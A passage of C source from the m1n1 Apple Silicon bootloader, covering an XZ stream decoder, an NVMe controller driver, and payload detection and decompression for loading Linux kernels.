|| (vliByte == 0)) { return false; } // // Decode it and move to the next 7 bits // *Vli |= (vli_type)((vliByte & 0x7F) << bitPos); bitPos += 7; } return true; } bool XzDecodeIndex ( void ) { uint32_t vli; uint8_t* indexStart; uint8_t* indexEnd; uint32_t* pCrc32; uint8_t indexByte; // // Remember where the index started so we can compute its size // BfSeek(0, &indexStart); // // The index always starts out with an empty byte // if (!BfRead(&indexByte) || (indexByte != 0)) { return false; } // // Then the count of blocks, which we expect to be 1 // if (!XzDecodeVli(&vli) || (vli != 1)) { return false; } // // Then the unpadded block size, which should match // if (!XzDecodeVli(&vli) || (Container.UnpaddedBlockSize != vli)) { return false; } // // Then the uncompressed block size, which should match // if (!XzDecodeVli(&vli) || (Container.UncompressedBlockSize != vli)) { return false; } // // Then we pad to the next multiple of 4 // if (!BfAlign()) { return false; } // // Store the index size with padding to validate the footer later // BfSeek(0, &indexEnd); Container.IndexSize = (uint32_t)(indexEnd - indexStart); // // Read the CRC32, which is not part of the index size // if (!BfSeek(sizeof(*pCrc32), (uint8_t**)&pCrc32)) { return false; } #ifdef MINLZ_INTEGRITY_CHECKS // // Make sure the index is not corrupt // if (Crc32(indexStart, Container.IndexSize) != *pCrc32) { return false; } #endif return true; } bool XzDecodeStreamFooter ( void ) { PXZ_STREAM_FOOTER streamFooter; // // Seek past the footer, making sure we have space in the input stream // if (!BfSeek(sizeof(*streamFooter), (uint8_t**)&streamFooter)) { return false; } // // Validate the footer magic // if (streamFooter->Magic != 'ZY') { return false; } // // Validate no flags other than checksum type are set // if ((streamFooter->u.Flags != 0) && ((streamFooter->u.s.CheckType != XzCheckTypeCrc32) && (streamFooter->u.s.CheckType != XzCheckTypeCrc64) && (streamFooter->u.s.CheckType != XzCheckTypeSha2) && (streamFooter->u.s.CheckType != XzCheckTypeNone))) { return false; } // // Validate if the footer accurately describes the size of the index // if (Container.IndexSize != (streamFooter->BackwardSize * 4)) { return false; } #ifdef MINLZ_INTEGRITY_CHECKS // // Compute the footer's CRC32 and make sure it's not corrupted // if (Crc32(&streamFooter->BackwardSize, sizeof(streamFooter->BackwardSize) + sizeof(streamFooter->u.Flags)) != streamFooter->Crc32) { return false; } #endif return true; } #endif bool XzDecodeBlock ( uint8_t* OutputBuffer, uint32_t* BlockSize ) { #ifdef MINLZ_META_CHECKS uint8_t *inputStart, *inputEnd; #endif // // Decode the LZMA2 stream. If full integrity checking is enabled, also // save the offset before and after decoding, so we can save the block // sizes and compare them against the footer and index after decoding. // #ifdef MINLZ_META_CHECKS BfSeek(0, &inputStart); #endif if (!Lz2DecodeStream(BlockSize, OutputBuffer == NULL)) { return false; } #ifdef MINLZ_META_CHECKS BfSeek(0, &inputEnd); Container.UnpaddedBlockSize = Container.HeaderSize + (uint32_t)(inputEnd - inputStart); Container.UncompressedBlockSize = *BlockSize; #endif // // After the block data, we need to pad to 32-bit alignment // if (!BfAlign()) { return false; } #if defined(MINLZ_INTEGRITY_CHECKS) || defined(MINLZ_META_CHECKS) // // Finally, move past the size of the checksum if any, then compare it with // with the actual CRC32 of the block, if integrity checks are enabled. If // meta checks are enabled, update the block size so the index checking can // validate it. // if (!BfSeek(Container.ChecksumSize, &inputEnd)) { return false; } #endif (void)(OutputBuffer); #ifdef MINLZ_INTEGRITY_CHECKS if ((OutputBuffer != NULL) && (Crc32(OutputBuffer, *BlockSize) != *(uint32_t*)inputEnd)) { return false; } #endif #ifdef MINLZ_META_CHECKS Container.UnpaddedBlockSize += Container.ChecksumSize; #endif return true; } bool XzDecodeStreamHeader ( void ) { PXZ_STREAM_HEADER streamHeader; // // Seek past the header, making sure we have space in the input stream // if (!BfSeek(sizeof(*streamHeader), (uint8_t**)&streamHeader)) { return false; } #ifdef MINLZ_META_CHECKS // // Validate the header magic // if ((*(uint32_t*)&streamHeader->Magic[1] != 'ZXz7') || (streamHeader->Magic[0] != 0xFD) || (streamHeader->Magic[5] != 0x00)) { return false; } // // Validate no flags other than checksum type are set // if ((streamHeader->u.Flags != 0) && ((streamHeader->u.s.CheckType != XzCheckTypeCrc32) && (streamHeader->u.s.CheckType != XzCheckTypeCrc64) && (streamHeader->u.s.CheckType != XzCheckTypeSha2) && (streamHeader->u.s.CheckType != XzCheckTypeNone))) { return false; } // // Remember that a checksum might come at the end of the block later // if (streamHeader->u.s.CheckType == 0) { Container.ChecksumSize = 0; } else { Container.ChecksumSize = 4 << ((streamHeader->u.s.CheckType - 1) / 3); } #endif #ifdef MINLZ_INTEGRITY_CHECKS // // Compute the header's CRC32 and make sure it's not corrupted // if (Crc32(&streamHeader->u.Flags, sizeof(streamHeader->u.Flags)) != streamHeader->Crc32) { return false; } #endif return true; } XZ_DECODE_BLOCK_HEADER_RESULT XzDecodeBlockHeader ( void ) { PXZ_BLOCK_HEADER blockHeader; #ifdef MINLZ_META_CHECKS uint32_t size; #endif // // Seek past the header, making sure we have space in the input stream // if (!BfSeek(sizeof(*blockHeader), (uint8_t**)&blockHeader)) { return XzBlockHeaderFail; } if (blockHeader->Size == 0) { // // That's no block! That's an index! // BfSeek((uint32_t)(-(uint16_t)sizeof(*blockHeader)), (uint8_t**)&blockHeader); return XzBlockHeaderNoBlock; } #ifdef MINLZ_META_CHECKS // // Validate that the size of the header is what we expect // Container.HeaderSize = (blockHeader->Size + 1) * 4; if (Container.HeaderSize != sizeof(*blockHeader)) { return XzBlockHeaderFail; } // // Validate that no additional flags or filters are enabled // if (blockHeader->u.Flags != 0) { return XzBlockHeaderFail; } // // Validate that the only filter is the LZMA2 filter // if (blockHeader->LzmaFlags.Id != k_XzLzma2FilterIdentifier) { return XzBlockHeaderFail; } // // With the expected number of property bytes // if (blockHeader->LzmaFlags.Size != sizeof(blockHeader->LzmaFlags.u.Properties)) { return XzBlockHeaderFail; } // // The only property is the dictionary size, make sure it is valid. // // We don't actually need to store or compare the size with anything since // the library expects the caller to always put in a buffer that's large // enough to contain the full uncompressed file (or calling it in "get size // only" mode to get this information). // // This output buffer can thus be smaller than the size of the dictionary // which is absolutely OK as long as that's actually the size of the output // file. If callers pass in a buffer size that's too small, decoding will // fail at later stages anyway, and that's incorrect use of minlzlib. // size = blockHeader->LzmaFlags.u.s.DictionarySize; if (size > 39) { return XzBlockHeaderFail; } #ifdef MINLZ_INTEGRITY_CHECKS // // Compute the header's CRC32 and make sure it's not corrupted // if (Crc32(blockHeader, Container.HeaderSize - sizeof(blockHeader->Crc32)) != blockHeader->Crc32) { return XzBlockHeaderFail; } #endif #endif return XzBlockHeaderSuccess; } bool XzDecode ( uint8_t* InputBuffer, uint32_t* InputSize, uint8_t* OutputBuffer, uint32_t* OutputSize ) { // // Initialize the input buffer descriptor and history buffer (dictionary) // BfInitialize(InputBuffer, *InputSize ? *InputSize : UINT32_MAX); DtInitialize(OutputBuffer, *OutputSize); // // Decode the stream header for check for validity // if (!XzDecodeStreamHeader()) { printf("header decode failed\n"); return false; } // // Decode the block header for check for validity // switch (XzDecodeBlockHeader()) { case XzBlockHeaderFail: printf("block header failed\n"); return false; case XzBlockHeaderNoBlock: *OutputSize = 0; break; case XzBlockHeaderSuccess: // // Decode the actual block // if (!XzDecodeBlock(OutputBuffer, OutputSize)) { printf("block decode failed\n"); return false; } break; } #ifdef MINLZ_META_CHECKS // // Decode the index for validity checks // if (!XzDecodeIndex()) { return false; } // // And finally decode the footer as a final set of checks // if (!XzDecodeStreamFooter()) { return false; } if (!*InputSize) *InputSize = BfTell(); #endif return true; } m1n1-1.4.11/src/minilzlib/xzstream.h000066400000000000000000000055641453754430200172010ustar00rootroot00000000000000/*++ Copyright (c) Alex Ionescu. All rights reserved. Module Name: xzstream.h Abstract: This header file contains C-style data structures and enumerations that map back to the XZ stream and file format standard, including for the decoding of Variable Length Integers (VLI). This includes definitions for the stream header, block header, index and stream footer, and associated check types. Author: Alex Ionescu (@aionescu) 15-Apr-2020 - Initial version Environment: Windows & Linux, user mode and kernel mode. --*/ #pragma once // // XZ streams encode certain numbers as "variable length integers", with 7 bits // for the data, and a high bit to encode that another byte must be consumed. // typedef uint32_t vli_type; #define VLI_BYTES_MAX (sizeof(vli_type) * 8 / 7) // // These are the possible supported types for integrity checking in an XZ file // typedef enum _XZ_CHECK_TYPES { XzCheckTypeNone = 0, XzCheckTypeCrc32 = 1, XzCheckTypeCrc64 = 4, XzCheckTypeSha2 = 10 } XZ_CHECK_TYPES; // // This describes the first 12 bytes of any XZ container file / stream // typedef struct _XZ_STREAM_HEADER { uint8_t Magic[6]; union { struct { uint8_t ReservedFlags; uint8_t CheckType : 4; uint8_t ReservedType : 4; } s; uint16_t Flags; } u; uint32_t Crc32; } XZ_STREAM_HEADER, * PXZ_STREAM_HEADER; static_assert(sizeof(XZ_STREAM_HEADER) == 12, "Invalid Stream Header Size"); // // This describes the last 12 bytes of any XZ container file / stream // typedef struct _XZ_STREAM_FOOTER { uint32_t Crc32; uint32_t BackwardSize; union { struct { uint8_t ReservedFlags; uint8_t CheckType : 4; uint8_t ReservedType : 4; } s; uint16_t Flags; } u; uint16_t Magic; } XZ_STREAM_FOOTER, * PXZ_STREAM_FOOTER; static_assert(sizeof(XZ_STREAM_FOOTER) == 12, "Invalid Stream Footer Size"); // // This describes the beginning of a compressed payload stored in an XZ stream, // with hardcoded expectations for an LZMA2-compressed payload that has 0 extra // filters (such as BCJ2). // typedef struct _XZ_BLOCK_HEADER { uint8_t Size; union { struct { uint8_t FilterCount : 2; uint8_t Reserved : 4; uint8_t HasCompressedSize : 1; uint8_t HasUncompressedSize : 1; } s; uint8_t Flags; } u; struct { uint8_t Id; uint8_t Size; union { struct { uint8_t DictionarySize : 6; uint8_t Reserved : 2; } s; uint8_t Properties; } u; } LzmaFlags; uint8_t Padding[3]; uint32_t Crc32; } XZ_BLOCK_HEADER, * PXZ_BLOCK_HEADER; static_assert(sizeof(XZ_BLOCK_HEADER) == 12, "Invalid Block Header Size"); m1n1-1.4.11/src/nvme.c000066400000000000000000000341311453754430200142630ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "adt.h" #include "assert.h" #include "malloc.h" #include "nvme.h" #include "pmgr.h" #include "rtkit.h" #include "sart.h" #include "string.h" #include "utils.h" #define NVME_TIMEOUT 1000000 #define NVME_ENABLE_TIMEOUT 5000000 #define NVME_SHUTDOWN_TIMEOUT 5000000 #define NVME_QUEUE_SIZE 64 #define NVME_CC 0x14 #define NVME_CC_SHN GENMASK(15, 14) #define NVME_CC_SHN_NONE 0 #define NVME_CC_SHN_NORMAL 1 #define NVME_CC_SHN_ABRUPT 2 #define NVME_CC_EN BIT(0) #define NVME_CSTS 0x1c #define NVME_CSTS_SHST GENMASK(3, 2) #define NVME_CSTS_SHST_NORMAL 0 #define NVME_CSTS_SHST_BUSY 1 #define NVME_CSTS_SHST_DONE 2 #define NVME_CSTS_RDY BIT(0) #define NVME_AQA 0x24 #define NVME_ASQ 0x28 #define NVME_ACQ 0x30 #define NVME_DB_ACQ 0x1004 #define NVME_DB_IOCQ 0x100c #define NVME_BOOT_STATUS 0x1300 #define NVME_BOOT_STATUS_OK 0xde71ce55 #define NVME_LINEAR_SQ_CTRL 0x24908 #define NVME_LINEAR_SQ_CTRL_EN BIT(0) #define NVME_UNKNOWN_CTRL 0x24008 #define NVME_UNKNOWN_CTRL_PRP_NULL_CHECK BIT(11) #define NVME_MAX_PEND_CMDS_CTRL 0x1210 #define NVME_DB_LINEAR_ASQ 0x2490c #define NVME_DB_LINEAR_IOSQ 0x24910 #define NVMMU_NUM 0x28100 #define NVMMU_ASQ_BASE 0x28108 #define NVMMU_IOSQ_BASE 0x28110 #define NVMMU_TCB_INVAL 0x28118 #define NVMMU_TCB_STAT 0x29120 #define NVME_ADMIN_CMD_DELETE_SQ 0x00 #define NVME_ADMIN_CMD_CREATE_SQ 0x01 #define NVME_ADMIN_CMD_DELETE_CQ 0x04 #define NVME_ADMIN_CMD_CREATE_CQ 0x05 #define NVME_QUEUE_CONTIGUOUS BIT(0) #define NVME_CMD_FLUSH 0x00 #define NVME_CMD_WRITE 0x01 #define NVME_CMD_READ 0x02 struct nvme_command { u8 opcode; u8 flags; u8 tag; u8 rsvd; // normal NVMe has tag as u16 u32 nsid; u32 cdw2; u32 cdw3; u64 metadata; u64 prp1; u64 prp2; u32 cdw10; u32 cdw11; u32 cdw12; u32 cdw13; u32 cdw14; u32 cdw15; }; struct nvme_completion { u64 result; u32 rsvd; // normal NVMe has the sq_head and sq_id here u16 tag; u16 status; }; struct apple_nvmmu_tcb { u8 opcode; u8 dma_flags; u8 slot_id; u8 unk0; u32 len; u64 unk1[2]; u64 prp1; u64 prp2; u64 unk2[2]; u8 aes_iv[8]; u8 _aes_unk[64]; }; struct nvme_queue { struct apple_nvmmu_tcb *tcbs; struct nvme_command *cmds; struct nvme_completion *cqes; u8 cq_head; u8 cq_phase; bool adminq; }; static_assert(sizeof(struct nvme_command) == 64, "invalid nvme_command size"); static_assert(sizeof(struct nvme_completion) == 16, "invalid nvme_completion size"); static_assert(sizeof(struct apple_nvmmu_tcb) == 128, "invalid apple_nvmmu_tcb size"); static bool nvme_initialized = false; static u8 nvme_die; static asc_dev_t *nvme_asc = NULL; static rtkit_dev_t *nvme_rtkit = NULL; static sart_dev_t *nvme_sart = NULL; static u64 nvme_base; static struct nvme_queue adminq, ioq; static bool alloc_queue(struct nvme_queue *q) { memset(q, 0, sizeof(*q)); q->tcbs = memalign(SZ_16K, NVME_QUEUE_SIZE * sizeof(*q->tcbs)); if (!q->tcbs) return false; q->cmds = memalign(SZ_16K, NVME_QUEUE_SIZE * sizeof(*q->cmds)); if (!q->cmds) goto free_tcbs; q->cqes = memalign(SZ_16K, NVME_QUEUE_SIZE * sizeof(*q->cqes)); if (!q->cqes) goto free_cmds; memset(q->tcbs, 0, NVME_QUEUE_SIZE * sizeof(*q->tcbs)); memset(q->cmds, 0, NVME_QUEUE_SIZE * sizeof(*q->cmds)); memset(q->cqes, 0, NVME_QUEUE_SIZE * sizeof(*q->cqes)); q->cq_head = 0; q->cq_phase = 1; return true; free_cmds: free(q->cmds); free_tcbs: free(q->tcbs); return false; } static void free_queue(struct nvme_queue *q) { free(q->cmds); free(q->tcbs); free(q->cqes); } static void nvme_poll_syslog(void) { struct rtkit_message msg; rtkit_recv(nvme_rtkit, &msg); } static bool nvme_ctrl_disable(void) { u64 timeout = timeout_calculate(NVME_TIMEOUT); clear32(nvme_base + NVME_CC, NVME_CC_EN); while (read32(nvme_base + NVME_CSTS) & NVME_CSTS_RDY && !timeout_expired(timeout)) nvme_poll_syslog(); return !(read32(nvme_base + NVME_CSTS) & NVME_CSTS_RDY); } static bool nvme_ctrl_enable(void) { u64 timeout = timeout_calculate(NVME_ENABLE_TIMEOUT); mask32(nvme_base + NVME_CC, NVME_CC_SHN, NVME_CC_EN); while (!(read32(nvme_base + NVME_CSTS) & NVME_CSTS_RDY) && !timeout_expired(timeout)) nvme_poll_syslog(); return read32(nvme_base + NVME_CSTS) & NVME_CSTS_RDY; } static bool nvme_ctrl_shutdown(void) { u64 timeout = timeout_calculate(NVME_SHUTDOWN_TIMEOUT); mask32(nvme_base + NVME_CC, NVME_CC_SHN, FIELD_PREP(NVME_CC_SHN, NVME_CC_SHN_NORMAL)); while (FIELD_GET(NVME_CSTS_SHST, read32(nvme_base + NVME_CSTS)) != NVME_CSTS_SHST_DONE && !timeout_expired(timeout)) nvme_poll_syslog(); return FIELD_GET(NVME_CSTS_SHST, read32(nvme_base + NVME_CSTS)) == NVME_CSTS_SHST_DONE; } static bool nvme_exec_command(struct nvme_queue *q, struct nvme_command *cmd, u64 *result) { bool found = false; u64 timeout; u8 tag = 0; struct nvme_command *queue_cmd = &q->cmds[tag]; struct apple_nvmmu_tcb *tcb = &q->tcbs[tag]; memcpy(queue_cmd, cmd, sizeof(*cmd)); queue_cmd->tag = tag; memset(tcb, 0, sizeof(*tcb)); tcb->opcode = queue_cmd->opcode; tcb->dma_flags = 3; // always allow read+write to the PRP pages tcb->slot_id = tag; tcb->len = queue_cmd->cdw12; tcb->prp1 = queue_cmd->prp1; tcb->prp2 = queue_cmd->prp2; /* make sure ANS2 can see the command and tcb before triggering it */ dma_wmb(); nvme_poll_syslog(); if (q->adminq) write32(nvme_base + NVME_DB_LINEAR_ASQ, tag); else write32(nvme_base + NVME_DB_LINEAR_IOSQ, tag); nvme_poll_syslog(); timeout = timeout_calculate(NVME_TIMEOUT); struct nvme_completion cqe; while (!timeout_expired(timeout)) { nvme_poll_syslog(); /* we need a DMA read barrier here since the CQ will be updated using DMA */ dma_rmb(); memcpy(&cqe, &q->cqes[q->cq_head], sizeof(cqe)); if ((cqe.status & 1) != q->cq_phase) continue; if (cqe.tag == tag) { found = true; if (result) *result = cqe.result; } else { printf("nvme: invalid tag in CQ: expected %d but got %d\n", tag, cqe.tag); } write32(nvme_base + NVMMU_TCB_INVAL, cqe.tag); if (read32(nvme_base + NVMMU_TCB_STAT)) printf("nvme: NVMMU invalidation for tag %d failed\n", cqe.tag); /* increment head and switch phase once the end of the queue has been reached */ q->cq_head += 1; if (q->cq_head == NVME_QUEUE_SIZE) { q->cq_head = 0; q->cq_phase ^= 1; } if (q->adminq) write32(nvme_base + NVME_DB_ACQ, q->cq_head); else write32(nvme_base + NVME_DB_IOCQ, q->cq_head); break; } if (!found) { printf("nvme: could not find command completion in CQ\n"); return false; } cqe.status >>= 1; if (cqe.status) { printf("nvme: command failed with status %d\n", cqe.status); return false; } return true; } bool nvme_init(void) { if (nvme_initialized) { printf("nvme: already initialized\n"); return true; } int adt_path[8]; int node = adt_path_offset_trace(adt, "/arm-io/ans", adt_path); if (node < 0) { printf("nvme: Error getting NVMe node /arm-io/ans\n"); return NULL; } if (adt_get_reg(adt, adt_path, "reg", 3, &nvme_base, NULL) < 0) { printf("nvme: Error getting NVMe base address.\n"); return NULL; } u32 cg; if (ADT_GETPROP(adt, node, "clock-gates", &cg) < 0) { printf("nvme: clock-gates not set\n"); nvme_die = (nvme_base >> 37) & 3; } else { nvme_die = FIELD_GET(PMGR_DIE_ID, cg); } printf("nvme: ANS is on die %d\n", nvme_die); if (!alloc_queue(&adminq)) { printf("nvme: Error allocating admin queue\n"); return NULL; } if (!alloc_queue(&ioq)) { printf("nvme: Error allocating admin queue\n"); goto out_adminq; } ioq.adminq = false; adminq.adminq = true; nvme_asc = asc_init("/arm-io/ans"); if (!nvme_asc) goto out_ioq; nvme_sart = sart_init("/arm-io/sart-ans"); if (!nvme_sart) goto out_asc; nvme_rtkit = rtkit_init("nvme", nvme_asc, NULL, NULL, nvme_sart, false); if (!nvme_rtkit) goto out_sart; if (!rtkit_boot(nvme_rtkit)) goto out_rtkit; if (poll32(nvme_base + NVME_BOOT_STATUS, 0xffffffff, NVME_BOOT_STATUS_OK, USEC_PER_SEC) < 0) { printf("nvme: ANS did not boot correctly.\n"); goto out_shutdown; } /* setup controller and NVMMU for linear submission queue */ set32(nvme_base + NVME_LINEAR_SQ_CTRL, NVME_LINEAR_SQ_CTRL_EN); clear32(nvme_base + NVME_UNKNOWN_CTRL, NVME_UNKNOWN_CTRL_PRP_NULL_CHECK); write32(nvme_base + NVME_MAX_PEND_CMDS_CTRL, ((NVME_QUEUE_SIZE - 1) << 16) | (NVME_QUEUE_SIZE - 1)); write32(nvme_base + NVMMU_NUM, NVME_QUEUE_SIZE - 1); write64_lo_hi(nvme_base + NVMMU_ASQ_BASE, (u64)adminq.tcbs); write64_lo_hi(nvme_base + NVMMU_IOSQ_BASE, (u64)ioq.tcbs); /* setup admin queue */ if (!nvme_ctrl_disable()) { printf("nvme: timeout while waiting for CSTS.RDY to clear\n"); goto out_shutdown; } write64_lo_hi(nvme_base + NVME_ASQ, (u64)adminq.cmds); write64_lo_hi(nvme_base + NVME_ACQ, (u64)adminq.cqes); write32(nvme_base + NVME_AQA, ((NVME_QUEUE_SIZE - 1) << 16) | (NVME_QUEUE_SIZE - 1)); if (!nvme_ctrl_enable()) { printf("nvme: timeout while waiting for CSTS.RDY to be set\n"); goto out_disable_ctrl; } /* setup IO queue */ struct nvme_command cmd; memset(&cmd, 0, sizeof(cmd)); cmd.opcode = NVME_ADMIN_CMD_CREATE_CQ; cmd.prp1 = (u64)ioq.cqes; cmd.cdw10 = 1; // cq id cmd.cdw10 |= (NVME_QUEUE_SIZE - 1) << 16; cmd.cdw11 = NVME_QUEUE_CONTIGUOUS; if (!nvme_exec_command(&adminq, &cmd, NULL)) { printf("nvme: create cq command failed\n"); goto out_disable_ctrl; } memset(&cmd, 0, sizeof(cmd)); cmd.opcode = NVME_ADMIN_CMD_CREATE_SQ; cmd.prp1 = (u64)ioq.cmds; cmd.cdw10 = 1; // sq id cmd.cdw10 |= (NVME_QUEUE_SIZE - 1) << 16; cmd.cdw11 = NVME_QUEUE_CONTIGUOUS; cmd.cdw11 |= 1 << 16; // cq id for this sq if (!nvme_exec_command(&adminq, &cmd, NULL)) { printf("nvme: create sq command failed\n"); goto out_delete_cq; } nvme_initialized = true; printf("nvme: initialized at 0x%lx\n", nvme_base); return true; out_delete_cq: memset(&cmd, 0, sizeof(cmd)); cmd.opcode = NVME_ADMIN_CMD_DELETE_CQ; cmd.cdw10 = 1; // cq id if (!nvme_exec_command(&adminq, &cmd, NULL)) printf("nvme: delete cq command failed\n"); out_disable_ctrl: nvme_ctrl_shutdown(); nvme_ctrl_disable(); nvme_poll_syslog(); out_shutdown: rtkit_sleep(nvme_rtkit); // Some machines call this ANS, some ANS2... pmgr_reset(nvme_die, "ANS"); pmgr_reset(nvme_die, "ANS2"); out_rtkit: rtkit_free(nvme_rtkit); out_sart: sart_free(nvme_sart); out_asc: asc_free(nvme_asc); out_ioq: free_queue(&ioq); out_adminq: free_queue(&adminq); return false; } void nvme_ensure_shutdown(void) { nvme_asc = asc_init("/arm-io/ans"); if (!nvme_asc) return; if (!asc_cpu_running(nvme_asc)) { printf("nvme: ANS not running\n"); asc_free(nvme_asc); nvme_asc = NULL; return; } printf("nvme: Found ANS left powered, doing a proper shutdown\n"); nvme_sart = sart_init("/arm-io/sart-ans"); if (!nvme_sart) goto fail; nvme_rtkit = rtkit_init("nvme", nvme_asc, NULL, NULL, nvme_sart, false); if (!nvme_rtkit) goto fail; if (!rtkit_boot(nvme_rtkit)) goto fail; rtkit_sleep(nvme_rtkit); fail: if (nvme_rtkit) { rtkit_free(nvme_rtkit); nvme_rtkit = NULL; } if (nvme_sart) { sart_free(nvme_sart); nvme_sart = NULL; } asc_free(nvme_asc); nvme_asc = NULL; // Some machines call this ANS, some ANS2... pmgr_reset(nvme_die, "ANS"); pmgr_reset(nvme_die, "ANS2"); } void nvme_shutdown(void) { if (!nvme_initialized) { // nvme_ensure_shutdown(); return; } struct nvme_command cmd; memset(&cmd, 0, sizeof(cmd)); cmd.opcode = NVME_ADMIN_CMD_DELETE_SQ; cmd.cdw10 = 1; // sq id if (!nvme_exec_command(&adminq, &cmd, NULL)) printf("nvme: delete sq command failed\n"); memset(&cmd, 0, sizeof(cmd)); cmd.opcode = NVME_ADMIN_CMD_DELETE_CQ; cmd.cdw10 = 1; // cq id if (!nvme_exec_command(&adminq, &cmd, NULL)) printf("nvme: delete cq command failed\n"); if (!nvme_ctrl_shutdown()) printf("nvme: timeout while waiting for controller shutdown\n"); if (!nvme_ctrl_disable()) printf("nvme: timeout while waiting for CSTS.RDY to clear\n"); rtkit_sleep(nvme_rtkit); // Some machines call this ANS, some ANS2... pmgr_reset(nvme_die, "ANS"); pmgr_reset(nvme_die, "ANS2"); rtkit_free(nvme_rtkit); sart_free(nvme_sart); asc_free(nvme_asc); free_queue(&ioq); free_queue(&adminq); nvme_initialized = false; printf("nvme: shutdown done\n"); } bool nvme_flush(u32 nsid) { struct nvme_command cmd; if (!nvme_initialized) return false; memset(&cmd, 0, sizeof(cmd)); cmd.opcode = NVME_CMD_FLUSH; cmd.nsid = nsid; return nvme_exec_command(&ioq, &cmd, NULL); } bool nvme_read(u32 nsid, u64 lba, void *buffer) { struct nvme_command cmd; u64 buffer_addr = (u64)buffer; if (!nvme_initialized) return false; /* no need for 16K alignment here since the NVME page size is 4k */ if (buffer_addr & (SZ_4K - 1)) return false; memset(&cmd, 0, sizeof(cmd)); cmd.opcode = NVME_CMD_READ; cmd.nsid = nsid; cmd.prp1 = (u64)buffer_addr; cmd.cdw10 = lba; cmd.cdw11 = lba >> 32; cmd.cdw12 = 1; // 4096 bytes return nvme_exec_command(&ioq, &cmd, NULL); } m1n1-1.4.11/src/nvme.h000066400000000000000000000003341453754430200142660ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef NVME_H #define NVME_H #include "types.h" bool nvme_init(void); void nvme_shutdown(void); bool nvme_flush(u32 nsid); bool nvme_read(u32 nsid, u64 lba, void *buffer); #endif m1n1-1.4.11/src/payload.c000066400000000000000000000233371453754430200147550ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "../build/build_cfg.h" #include "../build/build_tag.h" #include "payload.h" #include "adt.h" #include "assert.h" #include "chainload.h" #include "cpufreq.h" #include "display.h" #include "heapblock.h" #include "kboot.h" #include "smp.h" #include "utils.h" #include "libfdt/libfdt.h" #include "minilzlib/minlzma.h" #include "tinf/tinf.h" // Kernels must be 2MB aligned #define KERNEL_ALIGN (2 << 20) static const u8 gz_magic[] = {0x1f, 0x8b}; static const u8 xz_magic[] = {0xfd, '7', 'z', 'X', 'Z', 0x00}; static const u8 fdt_magic[] = {0xd0, 0x0d, 0xfe, 0xed}; static const u8 kernel_magic[] = {'A', 'R', 'M', 0x64}; // at 0x38 static const u8 cpio_magic[] = {'0', '7', '0', '7', '0'}; // '1' or '2' next static const u8 img4_magic[] = {0x16, 0x04, 'I', 'M', 'G', '4'}; // IA5String 'IMG4' static const u8 sig_magic[] = {'m', '1', 'n', '1', '_', 's', 'i', 'g'}; static const u8 initramfs_magic[] = { 'm', '1', 'n', '1', '_', 'i', 'n', 'i', 't', 'r', 'a', 'm', 'f', 's'}; // followed by size as little endian uint32_t static const u8 empty[] = {0, 0, 0, 0}; static char expect_compatible[256]; static struct kernel_header *kernel = NULL; static void *fdt = NULL; static char *chainload_spec = NULL; static void *load_one_payload(void *start, size_t size); static void finalize_uncompression(void *dest, size_t dest_len) { // Actually reserve the space. malloc is safe after this, but... assert(dest == heapblock_alloc_aligned(dest_len, KERNEL_ALIGN)); void *end = ((u8 *)dest) + dest_len; void *next = load_one_payload(dest, dest_len); assert(!next || next >= dest); // If the payload needs padding, we need to reserve more, so it better have not used // malloc either. if (next > end) { // Explicitly *un*aligned or it'll fail this assert, since 64b alignment is the default assert(end == heapblock_alloc_aligned((u8 *)next - (u8 *)end, 1)); } } static void *decompress_gz(void *p, size_t size) { unsigned int source_len = size, dest_len = 1 << 30; // 1 GiB should be enough hopefully // Start at the end of the heap area, no allocation yet. The following code must not use // malloc or heapblock, until finalize_uncompression is called. void *dest = heapblock_alloc_aligned(0, KERNEL_ALIGN); printf("Uncompressing... "); int ret = tinf_gzip_uncompress(dest, &dest_len, p, &source_len); if (ret != TINF_OK) { printf("Error %d\n", ret); return NULL; } printf("%d bytes uncompressed to %d bytes\n", source_len, dest_len); finalize_uncompression(dest, dest_len); return ((u8 *)p) + source_len; } static void *decompress_xz(void *p, size_t size) { uint32_t source_len = size, dest_len = 1 << 30; // 1 GiB should be enough hopefully // Start at the end of the heap area, no allocation yet. The following code must not use // malloc or heapblock, until finalize_uncompression is called. void *dest = heapblock_alloc_aligned(0, KERNEL_ALIGN); printf("Uncompressing... "); int ret = XzDecode(p, &source_len, dest, &dest_len); if (!ret) { printf("XZ decode failed\n"); return NULL; } printf("%d bytes uncompressed to %d bytes\n", source_len, dest_len); finalize_uncompression(dest, dest_len); return ((u8 *)p) + source_len; } static void *load_fdt(void *p, size_t size) { if (fdt_node_check_compatible(p, 0, expect_compatible) == 0) { printf("Found a devicetree for %s at %p\n", expect_compatible, p); fdt = p; } assert(!size || size == fdt_totalsize(p)); return ((u8 *)p) + fdt_totalsize(p); } static void *load_cpio(void *p, size_t size) { if (!size) { // We could handle this, but who uses uncompressed initramfs? printf("Uncompressed cpio archives not supported\n"); return NULL; } kboot_set_initrd(p, size); return ((u8 *)p) + size; } static void *load_kernel(void *p, size_t size) { kernel = p; assert(size <= kernel->image_size); // If this is an in-line kernel, it's probably not aligned, so we need to make a copy if (((u64)kernel) & (KERNEL_ALIGN - 1)) { void *new_addr = heapblock_alloc_aligned(kernel->image_size, KERNEL_ALIGN); memcpy(new_addr, kernel, size ? size : kernel->image_size); kernel = new_addr; } /* * Kernel blobs unfortunately do not have an accurate file size header, so * this will fail for in-line payloads. However, conversely, this is required for * compressed payloads, in order to allocate padding that the kernel needs, which will be * beyond the end of the compressed data. So if we know the input size, tell the caller * about the true image size; otherwise don't. */ if (size) { return ((u8 *)p) + kernel->image_size; } else { return NULL; } } #define MAX_VAR_NAME 64 #define MAX_VAR_SIZE 1024 #define IS_VAR(x) !strncmp((char *)*p, x, strlen(x)) #define MAX_CHOSEN_VARS 16 #ifdef CHAINLOADING static size_t chosen_cnt = 1; static char *chosen[MAX_CHOSEN_VARS] = { "chosen.m1n1-stage1-version=" BUILD_TAG, }; #else static size_t chosen_cnt = 0; static char *chosen[MAX_CHOSEN_VARS]; #endif static bool enable_tso = false; static bool check_var(u8 **p) { char *val = memchr(*p, '=', strnlen((char *)*p, MAX_VAR_NAME + 1)); if (!val) return false; val++; char *end = memchr(val, '\n', strnlen(val, MAX_VAR_SIZE + 1)); if (!end) return false; *end = 0; printf("Found a variable at %p: %s\n", *p, (char *)*p); if (IS_VAR("chosen.")) { if (chosen_cnt >= MAX_CHOSEN_VARS) printf("Too many chosen vars, ignoring %s\n", *p); else chosen[chosen_cnt++] = (char 